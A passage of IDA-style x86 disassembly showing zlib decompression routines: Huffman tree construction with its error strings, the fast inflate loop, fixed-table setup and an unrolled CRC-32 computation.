mov dword ptr [eax+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
jmp short loc_42CF1B
; ---------------------------------------------------------------------------
loc_42CEFC: ; CODE XREF: sub_42CE8E+60j
cmp [ebp+var_4], 0FFFFFFFBh
jz short loc_42CF0A
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx], 0
jnz short loc_42CF1B
loc_42CF0A: ; CODE XREF: sub_42CE8E+72j
mov edx, [ebp+arg_10]
mov dword ptr [edx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
mov [ebp+var_4], 0FFFFFFFDh
loc_42CF1B: ; CODE XREF: sub_42CE8E+6Cj
; sub_42CE8E+7Aj
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_10]
call dword ptr [eax+24h]
add esp, 8
mov eax, [ebp+var_4]
loc_42CF32: ; CODE XREF: sub_42CE8E+2Fj
mov esp, ebp
pop ebp
retn
sub_42CE8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CF36 proc near ; CODE XREF: sub_42B1FD+F01p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 0
push 4
push 120h
mov eax, [ebp+arg_20]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_20]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42CF6D
mov eax, 0FFFFFFFCh
jmp loc_42D0B7
; ---------------------------------------------------------------------------
loc_42CF6D: ; CODE XREF: sub_42CF36+2Bj
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_14]
push ecx
push offset dword_434538
push offset dword_4344BC
push 101h
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_42C5C0
add esp, 28h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42CFB1
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_42CFF6
loc_42CFB1: ; CODE XREF: sub_42CF36+71j
cmp [ebp+var_4], 0FFFFFFFDh
jnz short loc_42CFC3
mov edx, [ebp+arg_20]
mov dword ptr [edx+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree"
jmp short loc_42CFDA
; ---------------------------------------------------------------------------
loc_42CFC3: ; CODE XREF: sub_42CF36+7Fj
cmp [ebp+var_4], 0FFFFFFFCh
jz short loc_42CFDA
mov eax, [ebp+arg_20]
mov dword ptr [eax+18h], offset aIncompleteLite ; "incomplete literal/length tree"
mov [ebp+var_4], 0FFFFFFFDh
loc_42CFDA: ; CODE XREF: sub_42CF36+8Bj
; sub_42CF36+91j
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_20]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_20]
call dword ptr [ecx+24h]
add esp, 8
mov eax, [ebp+var_4]
jmp loc_42D0B7
; ---------------------------------------------------------------------------
loc_42CFF6: ; CODE XREF: sub_42CF36+79j
mov edx, [ebp+var_C]
push edx
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_1C]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_18]
push eax
push offset dword_43462C
push offset dword_4345B4
push 0
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_8]
lea ecx, [eax+edx*4]
push ecx
call sub_42C5C0
add esp, 28h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42D046
mov edx, [ebp+arg_10]
cmp dword ptr [edx], 0
jnz short loc_42D0A1
cmp [ebp+arg_0], 101h
jbe short loc_42D0A1
loc_42D046: ; CODE XREF: sub_42CF36+FDj
cmp [ebp+var_4], 0FFFFFFFDh
jnz short loc_42D058
mov eax, [ebp+arg_20]
mov dword ptr [eax+18h], offset aOversubscrib_1 ; "oversubscribed distance tree"
jmp short loc_42D088
; ---------------------------------------------------------------------------
loc_42D058: ; CODE XREF: sub_42CF36+114j
cmp [ebp+var_4], 0FFFFFFFBh
jnz short loc_42D071
mov ecx, [ebp+arg_20]
mov dword ptr [ecx+18h], offset aIncompleteDist ; "incomplete distance tree"
mov [ebp+var_4], 0FFFFFFFDh
jmp short loc_42D088
; ---------------------------------------------------------------------------
loc_42D071: ; CODE XREF: sub_42CF36+126j
cmp [ebp+var_4], 0FFFFFFFCh
jz short loc_42D088
mov edx, [ebp+arg_20]
mov dword ptr [edx+18h], offset aEmptyDistanceT ; "empty distance tree with lengths"
mov [ebp+var_4], 0FFFFFFFDh
loc_42D088: ; CODE XREF: sub_42CF36+120j
; sub_42CF36+139j ...
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_20]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_20]
call dword ptr [eax+24h]
add esp, 8
mov eax, [ebp+var_4]
jmp short loc_42D0B7
; ---------------------------------------------------------------------------
loc_42D0A1: ; CODE XREF: sub_42CF36+105j
; sub_42CF36+10Ej
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_20]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_20]
call dword ptr [ecx+24h]
add esp, 8
xor eax, eax
loc_42D0B7: ; CODE XREF: sub_42CF36+32j
; sub_42CF36+BBj ...
mov esp, ebp
pop ebp
retn
sub_42CF36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D0BB proc near ; CODE XREF: sub_42B1FD+1A8p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax], 9
mov ecx, [ebp+arg_4]
mov dword ptr [ecx], 5
mov edx, [ebp+arg_8]
mov dword ptr [edx], offset dword_433340
mov eax, [ebp+arg_C]
mov dword ptr [eax], offset dword_434340
xor eax, eax
pop ebp
retn
sub_42D0BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D0E6 proc near ; CODE XREF: sub_42A2DE+106p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 48h
mov eax, [ebp+arg_14]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_14]
mov eax, [edx+4]
mov [ebp+var_34], eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+20h]
mov [ebp+var_10], edx
mov eax, [ebp+arg_10]
mov ecx, [eax+1Ch]
mov [ebp+var_28], ecx
mov edx, [ebp+arg_10]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_42D134
mov eax, [ebp+arg_10]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_38], ecx
jmp short loc_42D140
; ---------------------------------------------------------------------------
loc_42D134: ; CODE XREF: sub_42D0E6+3Bj
mov edx, [ebp+arg_10]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_38], eax
loc_42D140: ; CODE XREF: sub_42D0E6+4Cj
mov ecx, [ebp+var_38]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, dword_4332F8[edx*4]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_4]
mov edx, dword_4332F8[ecx*4]
mov [ebp+var_30], edx
loc_42D160: ; CODE XREF: sub_42D0E6+AFj
; sub_42D0E6+639j
cmp [ebp+var_28], 14h
jnb short loc_42D197
mov eax, [ebp+var_34]
sub eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_28]
shl edx, cl
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_28]
add edx, 8
mov [ebp+var_28], edx
jmp short loc_42D160
; ---------------------------------------------------------------------------
loc_42D197: ; CODE XREF: sub_42D0E6+7Ej
mov eax, [ebp+var_10]
and eax, [ebp+var_24]
mov ecx, [ebp+arg_8]
lea edx, [ecx+eax*8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
cmp [ebp+var_20], 0
jnz short loc_42D1FA
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
mov dl, [ecx+4]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
jmp loc_42D712
; ---------------------------------------------------------------------------
loc_42D1FA: ; CODE XREF: sub_42D0E6+CEj
; sub_42D0E6:loc_42D70Dj
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_20]
and eax, 10h
test eax, eax
jz loc_42D539
mov ecx, [ebp+var_20]
and ecx, 0Fh
mov [ebp+var_20], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_10]
and eax, dword_4332F8[edx*4]
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_20]
shr eax, cl
mov [ebp+var_10], eax
mov ecx, [ebp+var_28]
sub ecx, [ebp+var_20]
mov [ebp+var_28], ecx
loc_42D25F: ; CODE XREF: sub_42D0E6+1B0j
cmp [ebp+var_28], 0Fh
jnb short loc_42D298
mov edx, [ebp+var_34]
sub edx, 1
mov [ebp+var_34], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_28]
shl edx, cl
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_28]
add edx, 8
mov [ebp+var_28], edx
jmp short loc_42D25F
; ---------------------------------------------------------------------------
loc_42D298: ; CODE XREF: sub_42D0E6+17Dj
mov eax, [ebp+var_10]
and eax, [ebp+var_30]
mov ecx, [ebp+arg_C]
lea edx, [ecx+eax*8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
loc_42D2B1: ; CODE XREF: sub_42D0E6:loc_42D52Fj
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_20]
and eax, 10h
test eax, eax
jz loc_42D44D
mov ecx, [ebp+var_20]
and ecx, 0Fh
mov [ebp+var_20], ecx
loc_42D2EA: ; CODE XREF: sub_42D0E6+23Bj
mov edx, [ebp+var_28]
cmp edx, [ebp+var_20]
jnb short loc_42D323
mov eax, [ebp+var_34]
sub eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_28]
shl edx, cl
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_28]
add edx, 8
mov [ebp+var_28], edx
jmp short loc_42D2EA
; ---------------------------------------------------------------------------
loc_42D323: ; CODE XREF: sub_42D0E6+20Aj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_10]
and ecx, dword_4332F8[eax*4]
mov edx, [ebp+var_1C]
mov eax, [edx+4]
add eax, ecx
mov [ebp+var_18], eax
mov edx, [ebp+var_10]
mov ecx, [ebp+var_20]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_28]
sub eax, [ebp+var_20]
mov [ebp+var_28], eax
mov ecx, [ebp+var_2C]
sub ecx, [ebp+var_14]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
sub eax, [edx+28h]
cmp eax, [ebp+var_18]
jb short loc_42D3BB
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_18]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
jmp short loc_42D41D
; ---------------------------------------------------------------------------
loc_42D3BB: ; CODE XREF: sub_42D0E6+27Ej
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
sub eax, [edx+28h]
mov ecx, [ebp+var_18]
sub ecx, eax
mov [ebp+var_20], ecx
mov edx, [ebp+arg_10]
mov eax, [edx+2Ch]
sub eax, [ebp+var_20]
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_20]
jbe short loc_42D41D
mov edx, [ebp+var_14]
sub edx, [ebp+var_20]
mov [ebp+var_14], edx
loc_42D3E9: ; CODE XREF: sub_42D0E6+32Cj
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
cmp [ebp+var_20], 0
jnz short loc_42D3E9
mov eax, [ebp+arg_10]
mov ecx, [eax+28h]
mov [ebp+var_C], ecx
loc_42D41D: ; CODE XREF: sub_42D0E6+2D3j
; sub_42D0E6+2F8j ...
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0
jnz short loc_42D41D
jmp loc_42D534
; ---------------------------------------------------------------------------
loc_42D44D: ; CODE XREF: sub_42D0E6+1F5j
mov edx, [ebp+var_20]
and edx, 40h
test edx, edx
jnz short loc_42D48B
mov eax, [ebp+var_1C]
mov ecx, [eax+4]
mov edx, [ebp+var_1C]
lea eax, [edx+ecx*8]
mov [ebp+var_1C], eax
mov ecx, [ebp+var_20]
mov edx, [ebp+var_10]
and edx, dword_4332F8[ecx*4]
mov eax, [ebp+var_1C]
lea ecx, [eax+edx*8]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx]
mov [ebp+var_20], eax
jmp loc_42D52F
; ---------------------------------------------------------------------------
loc_42D48B: ; CODE XREF: sub_42D0E6+36Fj
mov ecx, [ebp+arg_14]
mov dword ptr [ecx+18h], offset aInvalidDista_0 ; "invalid distance code"
mov edx, [ebp+arg_14]
mov eax, [edx+4]
sub eax, [ebp+var_34]
mov [ebp+var_14], eax
mov ecx, [ebp+var_28]
shr ecx, 3
cmp ecx, [ebp+var_14]
jnb short loc_42D4B7
mov edx, [ebp+var_28]
shr edx, 3
mov [ebp+var_3C], edx
jmp short loc_42D4BD
; ---------------------------------------------------------------------------
loc_42D4B7: ; CODE XREF: sub_42D0E6+3C4j
mov eax, [ebp+var_14]
mov [ebp+var_3C], eax
loc_42D4BD: ; CODE XREF: sub_42D0E6+3CFj
mov ecx, [ebp+var_3C]
mov [ebp+var_14], ecx
mov edx, [ebp+var_34]
add edx, [ebp+var_14]
mov [ebp+var_34], edx
mov eax, [ebp+var_4]
sub eax, [ebp+var_14]
mov [ebp+var_4], eax
mov ecx, [ebp+var_14]
shl ecx, 3
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_10]
mov [eax+20h], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_28]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_34]
mov [ecx+4], edx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_14]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_14]
mov [ecx+8], eax
mov edx, [ebp+arg_14]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, 0FFFFFFFDh
jmp loc_42D7B7
; ---------------------------------------------------------------------------
loc_42D52F: ; CODE XREF: sub_42D0E6+3A0j
jmp loc_42D2B1
; ---------------------------------------------------------------------------
loc_42D534: ; CODE XREF: sub_42D0E6+362j
jmp loc_42D712
; ---------------------------------------------------------------------------
loc_42D539: ; CODE XREF: sub_42D0E6+13Ej
mov eax, [ebp+var_20]
and eax, 40h
test eax, eax
jnz short loc_42D5C1
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
mov eax, [ebp+var_1C]
lea ecx, [eax+edx*8]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_10]
and eax, dword_4332F8[edx*4]
mov ecx, [ebp+var_1C]
lea edx, [ecx+eax*8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
cmp [ebp+var_20], 0
jnz short loc_42D5BC
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
mov dl, [ecx+4]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
jmp loc_42D712
; ---------------------------------------------------------------------------
loc_42D5BC: ; CODE XREF: sub_42D0E6+490j
jmp loc_42D70D
; ---------------------------------------------------------------------------
loc_42D5C1: ; CODE XREF: sub_42D0E6+45Bj
mov edx, [ebp+var_20]
and edx, 20h
test edx, edx
jz loc_42D669
mov eax, [ebp+arg_14]
mov ecx, [eax+4]
sub ecx, [ebp+var_34]
mov [ebp+var_14], ecx
mov edx, [ebp+var_28]
shr edx, 3
cmp edx, [ebp+var_14]
jnb short loc_42D5F1
mov eax, [ebp+var_28]
shr eax, 3
mov [ebp+var_40], eax
jmp short loc_42D5F7
; ---------------------------------------------------------------------------
loc_42D5F1: ; CODE XREF: sub_42D0E6+4FEj
mov ecx, [ebp+var_14]
mov [ebp+var_40], ecx
loc_42D5F7: ; CODE XREF: sub_42D0E6+509j
mov edx, [ebp+var_40]
mov [ebp+var_14], edx
mov eax, [ebp+var_34]
add eax, [ebp+var_14]
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
sub ecx, [ebp+var_14]
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
shl edx, 3
mov eax, [ebp+var_28]
sub eax, edx
mov [ebp+var_28], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_10]
mov [ecx+20h], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_28]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_14]
mov eax, [ebp+var_34]
mov [edx+4], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_14]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_14]
mov [edx+8], ecx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov eax, 1
jmp loc_42D7B7
; ---------------------------------------------------------------------------
loc_42D669: ; CODE XREF: sub_42D0E6+4E3j
mov ecx, [ebp+arg_14]
mov dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code"
mov edx, [ebp+arg_14]
mov eax, [edx+4]
sub eax, [ebp+var_34]
mov [ebp+var_14], eax
mov ecx, [ebp+var_28]
shr ecx, 3
cmp ecx, [ebp+var_14]
jnb short loc_42D695
mov edx, [ebp+var_28]
shr edx, 3
mov [ebp+var_44], edx
jmp short loc_42D69B
; ---------------------------------------------------------------------------
loc_42D695: ; CODE XREF: sub_42D0E6+5A2j
mov eax, [ebp+var_14]
mov [ebp+var_44], eax
loc_42D69B: ; CODE XREF: sub_42D0E6+5ADj
mov ecx, [ebp+var_44]
mov [ebp+var_14], ecx
mov edx, [ebp+var_34]
add edx, [ebp+var_14]
mov [ebp+var_34], edx
mov eax, [ebp+var_4]
sub eax, [ebp+var_14]
mov [ebp+var_4], eax
mov ecx, [ebp+var_14]
shl ecx, 3
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_10]
mov [eax+20h], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_28]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_34]
mov [ecx+4], edx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_14]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_14]
mov [ecx+8], eax
mov edx, [ebp+arg_14]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, 0FFFFFFFDh
jmp loc_42D7B7
; ---------------------------------------------------------------------------
loc_42D70D: ; CODE XREF: sub_42D0E6:loc_42D5BCj
jmp loc_42D1FA
; ---------------------------------------------------------------------------
loc_42D712: ; CODE XREF: sub_42D0E6+10Fj
; sub_42D0E6:loc_42D534j ...
cmp [ebp+var_2C], 102h
jb short loc_42D725
cmp [ebp+var_34], 0Ah
jnb loc_42D160
loc_42D725: ; CODE XREF: sub_42D0E6+633j
mov eax, [ebp+arg_14]
mov ecx, [eax+4]
sub ecx, [ebp+var_34]
mov [ebp+var_14], ecx
mov edx, [ebp+var_28]
shr edx, 3
cmp edx, [ebp+var_14]
jnb short loc_42D747
mov eax, [ebp+var_28]
shr eax, 3
mov [ebp+var_48], eax
jmp short loc_42D74D
; ---------------------------------------------------------------------------
loc_42D747: ; CODE XREF: sub_42D0E6+654j
mov ecx, [ebp+var_14]
mov [ebp+var_48], ecx
loc_42D74D: ; CODE XREF: sub_42D0E6+65Fj
mov edx, [ebp+var_48]
mov [ebp+var_14], edx
mov eax, [ebp+var_34]
add eax, [ebp+var_14]
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
sub ecx, [ebp+var_14]
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
shl edx, 3
mov eax, [ebp+var_28]
sub eax, edx
mov [ebp+var_28], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_10]
mov [ecx+20h], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_28]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_14]
mov eax, [ebp+var_34]
mov [edx+4], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_14]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_14]
mov [edx+8], ecx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
mov [edx+34h], eax
xor eax, eax
loc_42D7B7: ; CODE XREF: sub_42D0E6+444j
; sub_42D0E6+57Ej ...
mov esp, ebp
pop ebp
retn
sub_42D0E6 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, offset dword_4346A4
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D7C5 proc near ; CODE XREF: sub_42FB02+1D4p
; sub_42FB02+29Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jnz short loc_42D7D5
xor eax, eax
jmp loc_42D99E
; ---------------------------------------------------------------------------
loc_42D7D5: ; CODE XREF: sub_42D7C5+7j
mov eax, [ebp+arg_0]
xor eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
loc_42D7DE: ; CODE XREF: sub_42D7C5+18Cj
cmp [ebp+arg_8], 8
jb loc_42D956
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4346A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4346A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4346A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4346A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4346A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4346A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4346A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4346A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_8]
sub ecx, 8
mov [ebp+arg_8], ecx
jmp loc_42D7DE
; ---------------------------------------------------------------------------
loc_42D956: ; CODE XREF: sub_42D7C5+1Dj
